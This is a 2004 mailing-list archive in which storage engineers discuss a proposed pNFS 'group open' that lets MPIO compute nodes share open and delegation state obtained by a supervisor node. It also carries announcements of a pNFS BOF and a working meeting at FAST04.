Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta6.grp.scd.yahoo.com with SMTP; 21 Mar 2004 23:09:55 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196]) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i2LN9ixJ130726; Sun, 21 Mar 2004 23:09:44 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2LN9jgh085230; Mon, 22 Mar 2004 00:09:46 +0100 In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D38938@PIKES.panasas.com> To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, ""'pnfs-reqs@yahoogroups.com'"" MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: Date: Mon, 22 Mar 2004 01:11:48 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 22/03/2004 01:11:58, Serialize complete at 22/03/2004 01:11:58 Content-Type: multipart/alternative; boundary=""=_alternative 00608DF1C2256E5E_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT click here I am sure we all want to be aware of this ""twist"". It may be more than just putting a label on it - e.g., security protocols must be able to ""delegate"" credentials and that makes some bindings bad. Julo ""Halevy, Benny"" 17/03/04 22:48 Please respond to pnfs-ops To ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com cc Subject RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open I completely agree with Dave and I certainly don't think he's crazy. I perceive this solution as a ""clustered"" implementation of a nfsv4 client in which the v4 drivers in the client cluster are cooperating and propagating state (e.g. file handles, stateids) among each other. I believe that the server should not be able to distinguish such client from a multi-homed client that may have several ip addresses. In the nfsv4 sessions world a (clustered) client may open multiple connections to the server that are associated with the same session - this will make life for such client even easier, I hope. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Wednesday, March 17, 2004 2:43 PM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open > > >Andy wrote: >> Do worry about this: is there anything stoping a compute node from >using >> OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >described >> below? > >I'm going to say ""No"". I know this wasn't the answer that I >gave at the > >conference call, (and might not be the answer I give at the next >conference >call :-), but listen to my reasoning before you decide I'm crazy. > >In order to resolve this issue it is necessary to get all philosophical >and address the question ""What is a computer?"". I know lots of people >have already hit delete but I hope somebody is still reading. > >Suppose I have an application cluster with 1K nodes and I put on my >marketing >hat (Gee, I hope I don't need a marketing jacket and tie, too :-) and >say ""This is really a powerful computer with a thousand (maybe two >thousand) >CPU's"". Now that's marketing bullshit but it isn't exactly false. >There >are certainly tasks where you want a large number of CPU's sharing >memory >and a DSM arrangement's performance is going to suck. On the other >hand, >there are applications where having a thousand memories is going to be >much >better than trying to provide adequate memory bandwidth from a single >memory >to many many CPU's. > >So what's the point? I think the point is that as far as the >NFS server >is >concerned, whether the computer that is talking to it is ""really"" a >computer, >i.e. it has CPU's sharing memory, or is only a computer qua marketing >bullshit, >i.e. a collection of cpu's that don't share memory, that use other >methods to >co-ordinate common activities, doesn't matter. All the server sees are >the >requests made and if the cluster represents itself as a single machine >(i.e. >in V4 does a single SETCLIENTID or in v4.1 maintains many connections >bound to >a single session), it is one. The server doesn't see the cluster's >memory >architecture. It sees an open and then use of that that stateid. The >fact >that it comes over a different IP address doesn't disqualify it. A >server >might have options to check that (as a matter of security) but it isn't >part >of the protocol and we already have clients with multiple IP addresses. >Having >a thousand of them is a difference of degree (and may pose >implementation >issues) but I don't see a real protocol issue. > >OK. Now you can decide if I'm crazy. > >-----Original Message----- >From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] >Sent: Wednesday, March 17, 2004 12:44 PM >To: pnfs-reqs@yahoogroups.com >Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu >Subject: [pnfs-ops] pNFS, MPIO, and client group open > > >Sorry for the long email :) > >At the conclusion of the NEPS conference last November, Brent Welch >emailed >his notes as a starting point for a requirements document (attached). I >use >his pNFS extention language to describe a pNFS client using a 'normal >open' >servicing an open/write/close with direct access, and a large MPIO >application >using a proposed 'group open'. > >I note that my knowledge of parallel filesystems is growing, so please >excuse >any misconceptions, comments welcome... > >The architecture i'm picturing is a large cluster with a Parallel File >System >(PFS) >consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I >know it's >only >one of many architectures the pNFS set of extensions is trying to >address. > >1000's of pNFS clients >10's of pNFSd, one per PFS MD >100's NAS/SAN > > >'Normal' open >******************** >a) pNFS client issues a compound to one pNFSd consisting of: >OPEN with share: Access/Deny > Multiple pNFSds need to resolve share. >DELEG_ASK: Request Byte-range Delegation > Multiple pNFSds need to resolve delegation >READ/WRITE_IND request direct data access > pNFSd queries PFS MD to get location map > >b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using >the map >returned in READ/WRITE_IND. > >c) pNFS client issues a compound to one pNFSd consisting of: >COMMIT_IND: >CLOSE > > >An MPIO application opens one very large file, shared by 1000's of >compute >clients. Each compute client manipulates its portion of the file. The >MPIO >layer manages compute clients so that no client shares a byte range of >the >file with another. > >This MPIO application consists of > - supervisor code running on 1 MPIO supervisor node > - compute code running on 1000's of MPIO compute nodes > >This MPIO application has cyclic behavior. >I) Read initial data >II) compute intermediate result >III) wait for other compute nodes to finish computing >IV) all compute nodes write to file (their portion) >V) compute nodes trade 'edge conditions' >VI) goto II (compute). > >While the application is not in IV (writing), another application, say >the >visualizer, needs READ access to the file in order to crunch it for >visualization. Visualization is needed to tell if the MPIO application >intermediate results are converging on a solution. > >If in step IV all the compute nodes open/write/close as described above >as the >Normal open, the pNFSds will be doing a lot of metadata processing: >resolving >share and delegation state between themselves as well as delivering per >byte-range layout info. The group open is designed to reduce the >metadata >processing from 1000's to one. > >I mention a couple of new fcntls used by the MPIO layer to communicate >pNFS >state from the supervisor node to the compute nodes. Don't worry about >that(!). > >Do worry about this: is there anything stoping a compute node >from using >OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >described >below? If so, are the changes to pNFS to make this work small enough to >be >considered at this time? > >Group Open >********** >step IV: supervisor OPENs file, all compute clients write file, >supervisor >CLOSES file. > >specifically: >a) supervisor issues a compound with >OPEN: Access - Both, Deny Both to a pNFSd > - pNFSds need to resolve the share > - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to >know >about the other compute clients? > - do we need the concept of a group clientid? >DELEG_ASK: supervisor asks for WRITE delegation which should be > granted given the OPEN Access-Both, Deny-Both share. > - pNFSds need to resolve delegation request >WRITE_IND: supervisor gets whole file layout info > >b) supervisor calls > fcntl(fd, GET_GRPOPEN, cookie_buf); > which returns the filehandle,stateid, and layout map from the >supervisor pNFS. > >c) the supervisor code passes filehandle, stateid, and layout map to >each >compute >node which calls > fcntl(fd, SET_GRPOPEN, cookie_buf); >the pNFS compute node client receives the filehandle, stateid, and >layout map. >performs a local open (nothing need go across the wire) stuffing the >filehandle, stateid, and layout map into it's state tree just as if an >across >the wire OPEN/DELEG_ASK/WRITE_IND occured. > >d) compute clients use SET_GRPOPEN filehandle, stateid and map to >directly >write the data to the appropriate NAS/SAN > - what besides the filehandle, stateid, and layout map is >needed? > - when done writing, each compute client issues a COMMIT_IND. > >e) when compute clients have flushed all data back to the file, >supervisor >issues a compound with > >CLOSE > > > > >Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From julian_satran@il.ibm.com Sun Mar 21 15:11:41 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 78562 invoked from network); 21 Mar 2004 23:11:41 -0000 Received: from unknown (66.218.66.172) by m15.grp.scd.yahoo.com with QMQP; 21 Mar 2004 23:11:41 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta4.grp.scd.yahoo.com with SMTP; 21 Mar 2004 23:11:39 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196]) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i2LN9ixJ057250; Sun, 21 Mar 2004 23:09:44 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2LN9jgg085230; Mon, 22 Mar 2004 00:09:46 +0100 In-Reply-To: <20040317174340.B805420F71@citi.umich.edu> To: pnfs-ops@yahoogroups.com Cc: andros@citi.umich.edu, pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: Date: Mon, 22 Mar 2004 01:11:37 +0200 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2|July 23, 2003) at 22/03/2004 01:11:58 Content-Type: multipart/mixed; boundary=""=_mixed 005F4336C2256E5E_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: Re: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Nice description. I would add that having a single node coordinate the MPIO access simplifies also the coordination needed at open/close and fsync (when transitioning between computation phases). Julo ""William A.(Andy) Adamson"" 17/03/04 19:43 Please respond to pnfs-ops To pnfs-reqs@yahoogroups.com cc pnfs-ops@yahoogroups.com, andros@citi.umich.edu Subject [pnfs-ops] pNFS, MPIO, and client group open Sorry for the long email :) At the conclusion of the NEPS conference last November, Brent Welch emailed his notes as a starting point for a requirements document (attached). I use his pNFS extention language to describe a pNFS client using a 'normal open' servicing an open/write/close with direct access, and a large MPIO application using a proposed 'group open'. I note that my knowledge of parallel filesystems is growing, so please excuse any misconceptions, comments welcome... The architecture i'm picturing is a large cluster with a Parallel File System (PFS) consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I know it's only one of many architectures the pNFS set of extensions is trying to address. 1000's of pNFS clients 10's of pNFSd, one per PFS MD 100's NAS/SAN 'Normal' open ******************** a) pNFS client issues a compound to one pNFSd consisting of: OPEN with share: Access/Deny Multiple pNFSds need to resolve share. DELEG_ASK: Request Byte-range Delegation Multiple pNFSds need to resolve delegation READ/WRITE_IND request direct data access pNFSd queries PFS MD to get location map b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using the map returned in READ/WRITE_IND. c) pNFS client issues a compound to one pNFSd consisting of: COMMIT_IND: CLOSE An MPIO application opens one very large file, shared by 1000's of compute clients. Each compute client manipulates its portion of the file. The MPIO layer manages compute clients so that no client shares a byte range of the file with another. This MPIO application consists of - supervisor code running on 1 MPIO supervisor node - compute code running on 1000's of MPIO compute nodes This MPIO application has cyclic behavior. I) Read initial data II) compute intermediate result III) wait for other compute nodes to finish computing IV) all compute nodes write to file (their portion) V) compute nodes trade 'edge conditions' VI) goto II (compute). While the application is not in IV (writing), another application, say the visualizer, needs READ access to the file in order to crunch it for visualization. Visualization is needed to tell if the MPIO application intermediate results are converging on a solution. If in step IV all the compute nodes open/write/close as described above as the Normal open, the pNFSds will be doing a lot of metadata processing: resolving share and delegation state between themselves as well as delivering per byte-range layout info. The group open is designed to reduce the metadata processing from 1000's to one. I mention a couple of new fcntls used by the MPIO layer to communicate pNFS state from the supervisor node to the compute nodes. Don't worry about that(!). Do worry about this: is there anything stoping a compute node from using OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as described below? If so, are the changes to pNFS to make this work small enough to be considered at this time? Group Open ********** step IV: supervisor OPENs file, all compute clients write file, supervisor CLOSES file. specifically: a) supervisor issues a compound with OPEN: Access - Both, Deny Both to a pNFSd - pNFSds need to resolve the share - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to know about the other compute clients? - do we need the concept of a group clientid? DELEG_ASK: supervisor asks for WRITE delegation which should be granted given the OPEN Access-Both, Deny-Both share. - pNFSds need to resolve delegation request WRITE_IND: supervisor gets whole file layout info b) supervisor calls fcntl(fd, GET_GRPOPEN, cookie_buf); which returns the filehandle,stateid, and layout map from the supervisor pNFS. c) the supervisor code passes filehandle, stateid, and layout map to each compute node which calls fcntl(fd, SET_GRPOPEN, cookie_buf); the pNFS compute node client receives the filehandle, stateid, and layout map. performs a local open (nothing need go across the wire) stuffing the filehandle, stateid, and layout map into it's state tree just as if an across the wire OPEN/DELEG_ASK/WRITE_IND occured. d) compute clients use SET_GRPOPEN filehandle, stateid and map to directly write the data to the appropriate NAS/SAN - what besides the filehandle, stateid, and layout map is needed? - when done writing, each compute client issues a COMMIT_IND. e) when compute clients have flushed all data back to the file, supervisor issues a compound with CLOSE Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ Attachment (not stored) brent_welch_pnfs_ops Type: application/octet-stream >From bhalevy@panasas.com Sun Mar 21 17:20:33 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 27471 invoked from network); 22 Mar 2004 01:20:32 -0000 Received: from unknown (66.218.66.167) by m13.grp.scd.yahoo.com with QMQP; 22 Mar 2004 01:20:32 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 22 Mar 2004 01:20:32 -0000 Received: from yang ([172.17.19.44]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id H2LG662S; Sun, 21 Mar 2004 20:20:29 -0500 To: , Cc: Date: Sun, 21 Mar 2004 20:20:30 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy ADVERTISEMENT click here Julo, I agree that the proposed method for parallel access requires the ability to delegate security information along with layout delegation. Still, I'm not sure there's a problem... My assumptions were that block based storage networks are secured with some form of host to LUN mapping thus capabilities do not play a role in this game. For file or object storage ""capabilities"" cannot be delegated if they allow access to an object only to a specific client host. OSD capabilities (at least SNIA http://www.t10.org/ftp/t10/document.03/03-279r0.pdf) do not have that limitation as far as I know. The intention with this regards is well versed there: ""Note this protocol does allow delegation of a credential if a host transfers both the secret part of the credential as well as the public capability arguments."" We haven't yet discussed the pNFS/NFS security model in details but assuming the back-end speaks NFSv4 the front-end metadata server needs to give the pNFS client a NFSv4 filehandle (which can theoretically serve as a capability) and then the client must still authenticate with the back end data server. Benny -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Sunday, March 21, 2004 18:12 To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com; 'pnfs-reqs@yahoogroups.com' Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open I am sure we all want to be aware of this ""twist"". It may be more than just putting a label on it - e.g., security protocols must be able to ""delegate"" credentials and that makes some bindings bad. Julo ""Halevy, Benny"" 17/03/04 22:48 Please respond to pnfs-ops To""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com cc SubjectRE: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open I completely agree with Dave and I certainly don't think he's crazy. I perceive this solution as a ""clustered"" implementation of a nfsv4 client in which the v4 drivers in the client cluster are cooperating and propagating state (e.g. file handles, stateids) among each other. I believe that the server should not be able to distinguish such client from a multi-homed client that may have several ip addresses. In the nfsv4 sessions world a (clustered) client may open multiple connections to the server that are associated with the same session - this will make life for such client even easier, I hope. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Wednesday, March 17, 2004 2:43 PM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: [pnfs-reqs] RE: [pnfs-ops] pNFS, MPIO, and client group open > > >Andy wrote: >> Do worry about this: is there anything stoping a compute node from >using >> OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >described >> below? > >I'm going to say ""No"". I know this wasn't the answer that I >gave at the > >conference call, (and might not be the answer I give at the next >conference >call :-), but listen to my reasoning before you decide I'm crazy. > >In order to resolve this issue it is necessary to get all philosophical >and address the question ""What is a computer?"". I know lots of people >have already hit delete but I hope somebody is still reading. > >Suppose I have an application cluster with 1K nodes and I put on my >marketing >hat (Gee, I hope I don't need a marketing jacket and tie, too :-) and >say ""This is really a powerful computer with a thousand (maybe two >thousand) >CPU's"". Now that's marketing bullshit but it isn't exactly false. >There >are certainly tasks where you want a large number of CPU's sharing >memory >and a DSM arrangement's performance is going to suck. On the other >hand, >there are applications where having a thousand memories is going to be >much >better than trying to provide adequate memory bandwidth from a single >memory >to many many CPU's. > >So what's the point? I think the point is that as far as the >NFS server >is >concerned, whether the computer that is talking to it is ""really"" a >computer, >i.e. it has CPU's sharing memory, or is only a computer qua marketing >bullshit, >i.e. a collection of cpu's that don't share memory, that use other >methods to >co-ordinate common activities, doesn't matter. All the server sees are >the >requests made and if the cluster represents itself as a single machine >(i.e. >in V4 does a single SETCLIENTID or in v4.1 maintains many connections >bound to >a single session), it is one. The server doesn't see the cluster's >memory >architecture. It sees an open and then use of that that stateid. The >fact >that it comes over a different IP address doesn't disqualify it. A >server >might have options to check that (as a matter of security) but it isn't >part >of the protocol and we already have clients with multiple IP addresses. >Having >a thousand of them is a difference of degree (and may pose >implementation >issues) but I don't see a real protocol issue. > >OK. Now you can decide if I'm crazy. > >-----Original Message----- >From: William A.(Andy) Adamson [mailto:andros@citi.umich.edu] >Sent: Wednesday, March 17, 2004 12:44 PM >To: pnfs-reqs@yahoogroups.com >Cc: pnfs-ops@yahoogroups.com; andros@citi.umich.edu >Subject: [pnfs-ops] pNFS, MPIO, and client group open > > >Sorry for the long email :) > >At the conclusion of the NEPS conference last November, Brent Welch >emailed >his notes as a starting point for a requirements document (attached). I >use >his pNFS extention language to describe a pNFS client using a 'normal >open' >servicing an open/write/close with direct access, and a large MPIO >application >using a proposed 'group open'. > >I note that my knowledge of parallel filesystems is growing, so please >excuse >any misconceptions, comments welcome... > >The architecture i'm picturing is a large cluster with a Parallel File >System >(PFS) >consisting of PFS Meta data servers(PFS MD) and PFS NAS/SAN. I >know it's >only >one of many architectures the pNFS set of extensions is trying to >address. > >1000's of pNFS clients >10's of pNFSd, one per PFS MD >100's NAS/SAN > > >'Normal' open >******************** >a) pNFS client issues a compound to one pNFSd consisting of: >OPEN with share: Access/Deny > Multiple pNFSds need to resolve share. >DELEG_ASK: Request Byte-range Delegation > Multiple pNFSds need to resolve delegation >READ/WRITE_IND request direct data access > pNFSd queries PFS MD to get location map > >b) pNFS client can then issue READ/WRITE directly to the NAS/SAN using >the map >returned in READ/WRITE_IND. > >c) pNFS client issues a compound to one pNFSd consisting of: >COMMIT_IND: >CLOSE > > >An MPIO application opens one very large file, shared by 1000's of >compute >clients. Each compute client manipulates its portion of the file. The >MPIO >layer manages compute clients so that no client shares a byte range of >the >file with another. > >This MPIO application consists of > - supervisor code running on 1 MPIO supervisor node > - compute code running on 1000's of MPIO compute nodes > >This MPIO application has cyclic behavior. >I) Read initial data >II) compute intermediate result >III) wait for other compute nodes to finish computing >IV) all compute nodes write to file (their portion) >V) compute nodes trade 'edge conditions' >VI) goto II (compute). > >While the application is not in IV (writing), another application, say >the >visualizer, needs READ access to the file in order to crunch it for >visualization. Visualization is needed to tell if the MPIO application >intermediate results are converging on a solution. > >If in step IV all the compute nodes open/write/close as described above >as the >Normal open, the pNFSds will be doing a lot of metadata processing: >resolving >share and delegation state between themselves as well as delivering per >byte-range layout info. The group open is designed to reduce the >metadata >processing from 1000's to one. > >I mention a couple of new fcntls used by the MPIO layer to communicate >pNFS >state from the supervisor node to the compute nodes. Don't worry about >that(!). > >Do worry about this: is there anything stoping a compute node >from using >OPEN/DELEG_ASK/WRITE_IND state obtained by the supervisor node as >described >below? If so, are the changes to pNFS to make this work small enough to >be >considered at this time? > >Group Open >********** >step IV: supervisor OPENs file, all compute clients write file, >supervisor >CLOSES file. > >specifically: >a) supervisor issues a compound with >OPEN: Access - Both, Deny Both to a pNFSd > - pNFSds need to resolve the share > - is this a normal nfsv4 OPEN? does pNFSd or the PFS need to >know >about the other compute clients? > - do we need the concept of a group clientid? >DELEG_ASK: supervisor asks for WRITE delegation which should be > granted given the OPEN Access-Both, Deny-Both share. > - pNFSds need to resolve delegation request >WRITE_IND: supervisor gets whole file layout info > >b) supervisor calls > fcntl(fd, GET_GRPOPEN, cookie_buf); > which returns the filehandle,stateid, and layout map from the >supervisor pNFS. > >c) the supervisor code passes filehandle, stateid, and layout map to >each >compute >node which calls > fcntl(fd, SET_GRPOPEN, cookie_buf); >the pNFS compute node client receives the filehandle, stateid, and >layout map. >performs a local open (nothing need go across the wire) stuffing the >filehandle, stateid, and layout map into it's state tree just as if an >across >the wire OPEN/DELEG_ASK/WRITE_IND occured. > >d) compute clients use SET_GRPOPEN filehandle, stateid and map to >directly >write the data to the appropriate NAS/SAN > - what besides the filehandle, stateid, and layout map is >needed? > - when done writing, each compute client issues a COMMIT_IND. > >e) when compute clients have flushed all data back to the file, >supervisor >issues a compound with > >CLOSE > > > > >Yahoo! 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Terms of Service. >From garth@panasas.com Sun Mar 28 19:58:52 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 1848 invoked from network); 29 Mar 2004 03:58:48 -0000 Received: from unknown (66.218.66.217) by m9.grp.scd.yahoo.com with QMQP; 29 Mar 2004 03:58:48 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 29 Mar 2004 03:58:51 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id HZGBBXTN; Sun, 28 Mar 2004 22:58:16 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: quoted-printable Message-Id: <46F74125-8135-11D8-BB3C-000A95A94F04@panasas.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed To: pnfs-sbc@yahoogroups.com, pnfs-obj@yahoogroups.com, pnfs-reqs@yahoogroups.com, pNFS Operations , pnfs-nfs@yahoogroups.com Date: Sun, 28 Mar 2004 22:58:03 -0500 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: FAST04 BOF 3/31 12:30pm: seeking a Parallel NFS (pNFS) X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Announcing a public Birds of a Feather meeting for those interested in bringing into existence a Parallel NFS (pNFS) standard for network attached storage. This BOF is to be held between USENIX' NSDI (www.usenix.org/events/nsdi04) and FAST (www.usenix.org/events/fast04) conferences, 12:30pm - 2pm, Wednesday March 31, 2004, in the Dolores room of the Grand Hyatt hotel in San Francisco. A simple box lunch for the first 50 attendees will be provided by Panasas Inc. Speakers at this BOF will include Peter Corbett, Network Appliance; David Black, EMC; Julian Satran, IBM; Peter Honeyman, CITI; Sumanta Chatterjee, Oracle; and Brent Welch, Panasas. Background materials from the organizers of this BOF can be found in the proceedings of a recent workshop, NFS Extensions for Parallel Storage, www.citi.umich.edu/NEPS/agenda.html, held by the Center for Information Technology Integration at the University of Michigan. Participants of that workshop summarized a statement of the problem pNFS might address in the following recent informational internet draft: Title: pNFS Problem Statement Author(s): Garth Gibson, Panasas & CMU, Peter Corbett, Network Appliance Filename: draft-gibson-pnfs-problem-statement-00.txt Pages: 12 Date: 2004-2-9 This draft considers the problem of limited bandwidth to NFS servers. The bandwidth limitation exists because an NFS server has limited network, CPU, memory and disk I/O resources. Yet, access to any one file system through the NFSv4 protocol requires that a single server be accessed. While NFSv4 allows file system migration, it does not provide a mechanism that supports multiple servers simultaneously exporting a single writable file system. This problem has become aggravated in recent years with the advent of very cheap and easily expanded clusters of application servers that are also NFS clients. The aggregate bandwidth demands of such clustered clients, typically working on a shared data set preferentially stored in a single file system, can increase much more quickly than the bandwidth of any server. The proposed solution is to provide for the parallelization of file services, by enhancing NFSv4 in a minor version. A URL for this Internet-Draft is: www.ietf.org/internet-drafts/draft-gibson-pnfs-problem-statement-00.txt >From garth@panasas.com Sun Mar 28 20:03:07 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 33647 invoked from network); 29 Mar 2004 04:03:06 -0000 Received: from unknown (66.218.66.166) by m16.grp.scd.yahoo.com with QMQP; 29 Mar 2004 04:03:06 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 29 Mar 2004 04:03:06 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id HZGBBX4A; Sun, 28 Mar 2004 23:02:41 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: Garth Gibson Date: Sun, 28 Mar 2004 23:02:27 -0500 To: pnfs-sbc@yahoogroups.com, pnfs-obj@yahoogroups.com, pnfs-reqs@yahoogroups.com, pNFS Operations , pnfs-nfs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: FACE-TO-FACE pNFS working meeting: 3/31 9am-12:30 Grand Hyatt, Dolores Rm, SF X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Reminder, folks, Before the upcoming pNFS BOF at FAST Wed Mar 31, 12:30 - 2pm, in the Dolores room of the Grand Hyatt hotel in San Francisco, the pNFS community reached by these mailing lists will be meeting for a working session, 9am - 12:30pm. Tentative agenda: - Requirements update and discussion (update coming from Garth) - Operations update and discussion (update coming from Brent) - Use cases discussion (initial use cases coming from Andy) See you there! garth >From garth@panasas.com Mon Mar 29 12:49:03 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 91946 invoked from network); 29 Mar 2004 20:48:59 -0000 Received: from unknown (66.218.66.216) by m1.grp.scd.yahoo.com with QMQP; 29 Mar 2004 20:48:59 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 29 Mar 2004 20:48:59 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id HZGBB9M4; Mon, 29 Mar 2004 15:48:56 -0500 Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <7694A65B-81C2-11D8-BB3C-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Date: Mon, 29 Mar 2004 15:48:42 -0500 To: pnfs-reqs@yahoogroups.com, pnfs-obj@yahoogroups.com, pnfs-sbc@yahoogroups.com, pNFS Operations , pnfs-nfs@yahoogroups.com X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: FACE-TO-FACE pNFS working meeting: 3/31 9am-12:30 Grand Hyatt, Dolores Rm, SF X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Word is that we will have a polycom and phone line in the FACE-to-FACE meeting. I will not post the call in, but I will respond to requests for the dialin details (once I have them, which is currently not yet). garth On Mar 28, 2004, at 11:02 PM, Garth Gibson wrote: > Reminder, folks, > > Before the upcoming pNFS BOF at FAST Wed Mar 31, 12:30 - 2pm, in the > Dolores room of the Grand Hyatt hotel in San Francisco, the pNFS > community reached by these mailing lists will be meeting for a working > session, 9am - 12:30pm. > > Tentative agenda: > > - Requirements update and discussion (update coming from Garth) > - Operations update and discussion (update coming from Brent) > - Use cases discussion (initial use cases coming from Andy) > > See you there! > garth >From bwelch@panasas.com Mon Mar 29 23:41:49 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 61803 invoked from network); 30 Mar 2004 07:41:48 -0000 Received: from unknown (66.218.66.172) by m11.grp.scd.yahoo.com with QMQP; 30 Mar 2004 07:41:48 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta4.grp.scd.yahoo.com with SMTP; 30 Mar 2004 07:41:48 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i2U7ccB14789; Mon, 29 Mar 2004 23:38:39 -0800 Message-Id: <200403300738.i2U7ccB14789@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.6.3 04/02/2003 with nmh-1.0.4 To: pnfs-obj@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com, pnfs-sbc@yahoogroups.com, 